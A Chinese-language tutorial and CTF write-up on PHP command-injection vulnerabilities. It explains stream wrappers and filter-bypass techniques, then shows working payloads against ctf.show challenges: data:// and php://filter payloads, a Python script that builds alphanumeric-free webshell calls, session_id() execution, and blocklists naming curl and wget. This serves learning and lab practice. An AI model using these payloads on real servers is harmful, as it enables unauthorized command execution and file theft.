前言
之前在DVWA靶场浅学了一下命令执行,近期又遇见了命令执行此类问题,因此在此对此类问题进行一个总结,希望能够对学习命令执行的人有所帮助!
漏洞相关信息
漏洞成因
命令执行漏洞形成的原因是web服务器对用户输入的命令安全监测不足,导致恶意代码被执行。
定义
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。
漏洞危害
继承Web服务程序的权限去执行系统命令或读写文件
反弹shell
控制整个网站甚至控制服务器
进一步内网渗透
涉及函数
常见函数
isset()函数:用于检测变量是否已设置并且非 NULL。
highlight_file()函数:对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
show_source()是 highlight_file() 的别名。
eval()函数:用来执行一个字符串表达式,并返回表达式的值。
next() 将内部指针指向数组中的下一个元素
glob() 函数返回匹配指定模式的文件名或目录
array_reverse():将数组逆序排列
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值
session_start(): 告诉PHP使用session;
session_id(): 获取到当前的session_id值;
rev():将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。
输出函数
cat函数 由第一行开始显示内容,并将所有内容输出
tac函数 从最后一行倒序显示内容,并将所有内容输出
nl 类似于cat -n,显示时输出行号
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
命令执行函数
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)
获取文件内容函数
pos()是current()的别名
pos():返回数组中当前元素的值
scandir():函数返回一个数组,其中包含指定路径中的文件和目录(获取目录下的文件)
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
涉及知识
正则表达式
在这里介绍命令执行中常见的一些有关正则表达式的知识
linux通配符中?的含义:匹配任意单个字符
php正则表达式中?的含义:?表示匹配除去前面字符的其他字符0次或1次
.代表除换行符之外的所有字符,*表示匹配零次或多次
\i 与大小写都进行匹配
\w 与任意单词字符匹配,任意单词字符表示 [A-Z]、 [a-z]、[0-9]、_
\d 与任意数字匹配
无数字字母构造webshell
当数字和字母都被过滤掉的时候,我们仍然需要利用这些字母或数字,这时候该怎么办呢,这时候可以利用那些未被过滤的字符,使其进行各种运算然后拼接得到需要的字母或数字
运算的话有异或运算,按位与,按位或运算等等,这里简单科普一个:
在PHP中,两个变量的值进行异或时,会先将两个变量的值转换为ASCII,再将ASCII转换为二进制,
对两对二进制数据进行异或,异或完,再将结果转为ASCII,最后将ASCII转为字符串,即为最终结果。
示例:我们现在想利用#和另一个字符来构造_,该怎么得到呢,我用了一个小脚本
def num():
for i in range(0,256):
if(i^ord(j)==ord(k)):
print(chr(i))
return
j='#'
k='_'
num()
执行结果如下
结果对不对呢,测试一下
正确,无数字和字符构造webshell简单来讲就是这么干的
伪协议
简单总结就是
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
具体的介绍如下
file:// 协议:
条件 allow_url_fopen:off/on allow_url_include :off/on
作用:用于访问本地文件系统。在include()/require()等参数可控的情况下
如果导入非php文件也会被解析为php
用法:
1.file://[文件的绝对路径和文件名]
2.[文件的相对路径和文件名]
3.[http://网络路径和文件名]
php:// 协议:
常见形式:php://input php://stdin php://memory php://temp
条件 allow_url_include需要 on allow_url_fopen:off/on
作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter
和php://input,php://filter用于读取源码,php://input用于执行php代码
php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流)
read=(可选) write=(可选)
对read和write,可选过滤器有string.rot13、string.toupper
、string.tolower、string.strip_tags、convert.base64-encode
& convert.base64-decode
用法举例:php://filter/read=convert.base64-encode/resource=flag.php
网址+?page=php://filter/convert.base64-encode/resource=文件名
zip:// bzip2:// zlib:// 协议:
条件:allow_url_fopen:off/on allow_url_include :off/on
作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件
更重要的是不需要指定后缀名
用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz
其中phar://和zip://类似
data:// 协议:
条件:allow_url_fopen:on allow_url_include :on
作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法:data://text/plain, data://text/plain;base64,
举例:data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
python脚本部分基础知识
我一开始迷茫的就是python中r的作用,为什么tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
中出现有r,百度后才知道r是表示原生字符串的意思,在python中想输出两个\你需要输入四个\,而加上r后输入两个就可以回显两个,具体示例如下
url="https:\\quan9i.github.io"
print(url)
url=r"https:\\quan9i.github.io"
print(url)
执行结果如下
re.match函数讲解
re.match(pattern, string, flags=0)
# pattern 匹配的正则表达式
# string 要匹配的字符串
# flags 标志位,用于控制正则表达式的匹配方式,如:是否区分大小写,多行匹配等等
具体示例如下
import re
print(re.match('quan9i','quan9i.com'))
print(re.match(r'quan9i\\','quan9i\\.com').span())
print(re.match('quan9i','https:\\quan9i.com'))
执行结果
一般一个小括号括起来就是一个捕获组。我们可以使用group()来提取每组匹配到的字符串。
group()会返回一个包含所有小组字符串的元组,从 0 到 所含的小组号。
0:表示正则表达式中符合条件的字符串。
1:表示正则表达式中符合条件的字符串中的第一个() 中的字符串。
2:表示正则表达式中符合条件的字符串中的第二个() 中的字符串。
具体示例如下
import re
c="name:quan9i,age:18"
obj = re.match('name:(\w+),age:(\d+)',c)
print(obj.group(0))#输出全部
print(obj.group(1))#输出第一个对应的,即name中对应的内容
print(obj.group(2))#输出第二个对应的,即age中对应的值
print(obj.group())#输出全部,不写默认就是0
执行结果如下
函数re的修饰符
re.I 使匹配对大小写不敏感
re.L 做本地化识别匹配
re.M 多行匹配,影响^和$
re.S 使.匹配包括换行在内的所有字符
re.U 根据Unicode字符集解析字符.这个标志影响\w \W \b \B
re.X 该标志通过给予你更灵活的格式以便你将正则表达式写的更易于理解.
session
session,我这个小白对他的理解就是保存用户状态而存在的一个东西
session机制采用的是在服务器端保持 HTTP 状态信息的方案。为了加速session的读取和存储,
web服务器中会开辟一块内存用来保存服务器端所有的session,每个session都会有一个唯一标识
sessionid,根据客户端传过来的jsessionid(cookie中),找到对应的服务器端的session。
为了防止服务器端的session过多导致内存溢出,web服务器默认会给每个session设置一个有效期(30分钟)
若有效期内客户端没有访问过该session,服务器就认为该客户端已离线并删除该session。
linux重定向符
学习重定向符,首先需要知道其中的0,1,2(文件描述符)所代表的含义
输出重定向>
基本命令
command >filename 把标准输出重定向到新文件中
command 1>filename 同上
command >>filename 把标准输出追加到文件中
command 1>>filename 同上
command 2>filename 把标准错误重定向到新文件中
command 2>>filename 把标准错误追加到新文件中
具体示例如下
目录下只有a.txt,没有b.txt
#执行语句
ls a.txt b.txt
#输出结果
ls: 无法访问 'b.txt': 没有那个文件或目录 #这个是错误输出
a.txt #这个是标准输出
#执行语句
ls a.txt b.txt 1>out #将标准输出的结果重定向到out文件中
#输出结果
ls: 无法访问 'b.txt': 没有那个文件或目录 #此时只有错误输出,没有标准输出
#执行语句
cat out #查看out文件
#输出结果
a.txt #标准输出
#执行语句
ls a.txt b.txt >>out #将标准输出追加到out文件中
#输出结果
ls: 无法访问 'b.txt': 没有那个文件或目录
#执行语句
cat out
#输出结果
a.txt #标准输出
a.txt #追加的标准输出
输入重定向<
基本命令
command <filename 以filename文件作为标准输入(默认为 0<filename)
command 0<filename 同上
command <<end 从标准输入中读入,直到遇到end分隔符结束
当符号左边不写文件名,那其含义就是标准输入到标准输出中,简单说就是写一个回显一个
,具体示例如下
# cat
123 #输入的
123 #按下回车后自动回显的
ttt #输入的
ttt #自动回显的
这个<呢其实就是把文件内容转到另一个文件,具体运用实例如下
#执行语句
cat >input #首先给文件传点东西
111
222
333
#执行语句
cat >out <input #前面是将标准输出重定向到out中 ,后面是把input中的作为标准输入
那它的含义简单理解就是把input中的东西传到out中
#执行语句
cat out
#执行结果
111
222
333
此时再看下面的命令就比较好理解了
/dev/null
这条命令的作用是将标准输出1重定向到/dev/null中。
/dev/null代表linux的空设备文件,所有往这个文件里面写入的内容都会丢失,俗称“黑洞”
那么执行了>/dev/null之后,标准输出就会不再存在,没有任何地方能够找到输出的内容。2>&1
这条命令用到了重定向绑定,采作用是错误输出将和标准输出同用一个文件描述符,简单的说就是标准输出和错误输出输出到同一个地方
>/dev/null 2>&1 其简单理解就是把标准输出和错误输出全扔了
绕过
绕过空格
<>
%09(需要php环境)
${IFS} //加$是为了隔断,IFS是shell已经定好的,功能就是分隔变量,默认就是对字段起分隔作用
$IFS$9
字母绕过
当存在flag此类字母被过滤时,我们可以用\等来进行过滤,示例如下
fla\g
fl''ag
f*
取反运算
首先需要了解一下取反运算,如果没有对取反没有了解可以自行百度一下,取反有一个公式,无论是正数还是负数都是有效的,~a=-(a+1)
其次,在linux中,没有字母也可以输出数字,具体如下
$(())=0
$((~$(())))=-1
实战
伪协议实战
0X01
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){ //过滤了flag php file
include($c); //文件包含漏洞
echo $flag; //输出变量flag
}
}else{
highlight_file(__FILE__);
}
本关php和file被过滤了我们无法直接利用伪协议
,需要借助其他,可以利用base64进行绕过,构造payload如下
?c=data://text/plain;base64,PD9waHAgZWNobyBgdGFpbCBmKmA/Pg==
<?php echo `tail f*`?>
执行结果
0X02
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
eval执行变量,我们在了解到flag在flag.php中后,可直接利用伪协议来获取flag,构造payload如下
用伪协议来获取,我们可构造如下payload来获取flag
c=include$_POST[url];&url=php://filter/read=convert.base64-encode/resource=flag.php
对执行结果进行base64解码即可得到flag
无数字字母构造webshell实战
0X01
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
本关的话,没办法用常规方法了,需要利用到知识无数字和字母构造webshell,写出如下的python脚本
import re
import requests
url="http://4d761ee5-a510-4666-a3cd-bc2771825aca.challenge.ctf.show/"
a=[]
ans1=""
ans2=""
for i in range(0,256): #设置i的范围为全部字符
c=chr(i)
#将i转换成ascii对应的字符,并赋值给c
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
#设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
if(tmp):
continue
#当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
else:
a.append(i)
#在数组中增加i,这些就是未被系统过滤掉的字符
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="cat flag.php" #参数
def myfun(k,my): #自定义函数
global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量
for j in range(i,len(a)): #在上个循环的条件下设置j的范围
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
myfun(x,mya)#引用自定义的函数
data1="('"+ans1+"'|'"+ans2+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个进行按位与运算,然后得到对应值
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
myfun(k,myb)#再次引用自定义函数
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
r=requests.post(url=url,data=data)#r等于以post方式传递参数,其中url=上面的url,data等于刚刚得到的data
print(r.text) #输出得到的文本信息
执行后即可得到flag
0X02
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
本关是属于那种无字母构造webshell的,那么绕过思路呢就是利用linux shell命令,用.可以执行一个文件中的命令,例如.3.php就是执行3.php中的命令
此时我们应该去哪里找这个上传的文件呢,扩充一个小的知识点
post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,
默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。
此时我们肯定想的是构造如下payload
?c=/???/?????????
可是符号这种条件的文件有好多个,无法匹配到我们想要的那个文件,这时我们想到glob支持利用[0-9]设置范围,那同理我们也可以设置范围为[A-Z],但是因为字母被过滤掉了,所以我们用A的前一位@和Z的后一位[来进行替代,构造如下payload
c=.%20/???/????????[@-[]
注:%20是空格,也可以用+来代替,目的是进行隔断
此时写一个post包,代码如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://9e1a3122-1876-431c-8e68-91515f1ce03d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
放到一个html文件中,并打开
再构造一个php文件,用于我们访问,内容如下
#!/bin/sh
ls
此时我们选中php文件
进行抓包,并把payload输入到其中
此时更改php文件中内容,把ls
改为cat flag.php
,执行结果如下
session利用实战
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
构造payload
?c=session_start();system(session_id());
解释:session_start()告诉系统使用session
system(session_id());获取当前session
提交之后 Cookie中会生成PHPSESSID,如下图
此时利用hackbar或其他工具修改cookie为
PHPSESSID=ls
执行结果如下
phpsessid不支持空格,我们可以把cookie的payload进行base64编码
Y2F0IGZsYWcucGhw //cat flag.php
但是这里我们无法获取到flag,因为受php版本影响
php 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的
所以我们知道有这种方法即可,可以自己在本地搭建一个靶场来进行本地测试
或者构造payload如下
?c=show_source(session_id(session_start()));
cookie设置为PHPSESSID=flag.php
利用session的本地测试
首先将靶场复制到本地,然后开启phpstudy进行测试
然后此时利用输入payload
?c=session_start();system(session_id());
开启burpsuite进行抓包
修改cookie
PHPSESSID=dir
执行结果如下
此时你可以发现目录中有flag.php,此时该怎么查看呢,可以利用show_source这类输出函数,将payload修改如下
?c=show_source(session_id(session_start()));
此时再修改cookie
PHPSESSID=flag.php
执行结果如下
再看flag.php
对应成功,说明获取到了flag
空格绕过实战
0X01
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了$ ,没法用${IFS}绕过空格了,用%09。过滤了通配符*,但是我还有?呀,也可以''绕过构造payload如下
?c=tac%09fla?????||
?c=tac%09fl''ag.php||
0X02
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
同上,构造payload如下(用重定向符<不能出现通配符?)
?c=tac<fl''ag.php||
?c=tac<>fl''ag.php||
取反运算实战
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
本关过滤了全部字符和数字以及部分字符,它在注释中提到flag在36.php,下方的system函数中已经有了cat函数和php后缀,因此我们只需要构造出$c=36即可,此时我们就可以用到上方的linux命令,我们拼接37个1再进行一次取反即可构造出36,具体代码如下
?c=$((~$(((((((((((((((( $((((~$(()))) $((~$(()))) ))$(( $((~$(())))
$((~$(()))) ))))$(( $((~$(()))) $((~$(()))) ))))$(( $((~$(()))) $((~$(()))) ))))
$(( $((~$(()))) $((~$(()))) ))$(( $((~$(()))) $((~$(()))) ))))$(( $((~$(()))) $((~$(()))) ))$(( $((~$(()))) $((~$(()))) ))$(( $((~$(()))) $((~$(()))) ))
$(( $((~$(()))) $((~$(()))) ))$(( $((~$(()))) $((~$(()))) ))$(( $((~$(())))
$((~$(()))) ))$(( $((~$(()))) $((~$(()))) ))$(( $((~$(()))) $((~$(()))) ))$((
$((~$(()))) $((~$(()))) ))$(( $((~$(()))) $((~$(()))) ))$(( $((~$(())))
$((~$(()))) ))))))$((~$(())))$((~$(())))))$((~$(())))))))
运用函数实战
随机择取键位实战
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
查看文件构造如下payload
c=var_dump(scandir(current(localeconv())));
执行结果
此时我们知道了在倒数第二个文件中,用 array_flip将键值与键名进行交换,再用array_rand函数随机获取键名,这样就随机取出<font color="red">当前</font>的键名,一共也没几个文件,多试几次即可得到flag,payload如下
c=show_source(array_rand(array_flip(scandir(current(localeconv())))));
执行结果
include函数实战
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
本关中highlight_file被禁用了。
首先查看flag的位置,构造payload如下
c=var_dump(scandir("../../.."));
执行结果
此时因为代码回显高亮被禁用,没办法使用前两关的方法来回显flag了,前面的随机取键名是也是针对当前路径下的文件,而flag.txt不在当前路径下,同时高亮函数被禁用,也无法使用,
之前使用的伪协议也是针对当前路径的,无法使用,此时呢,我们只能够用include或require来获取flag,构造payload如下
c=require("/flag.txt");
c=include("/flag.txt");
txt文件可以用include来显示,而php文件的话是不会在前端显示的,所以我们无法在前面看见flag.php
这也是我们前面为什么不直接用include来获取flag的原因
执行结果
next逆序输出实战
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
我们在知道flag在flag.php中且是倒数第二个文件后,我们可以利用array_reverse函数将全部文件进行逆排序,此时flag就是第二个,那我们可以利用next函数将指向文件改为第二个,此时再用show_source输出,即可得到flag,构造payload如下
c=show_source(next(array_reverse(scandir(current(localeconv())))));
执行结果
利用bin的实战
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
本关看的我眼花缭乱
其实它的含义的话就是过滤的这些字符中间无法插入数据,所以我们那种加\或者""实现绕过的方法就失效了
此时就需要用到bin
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、
kill、ls、mkdir、more、mount、rm、su、tar、base64等
我们可以构造如下payload来进行绕过
?c=/bin/?at${IFS}f???????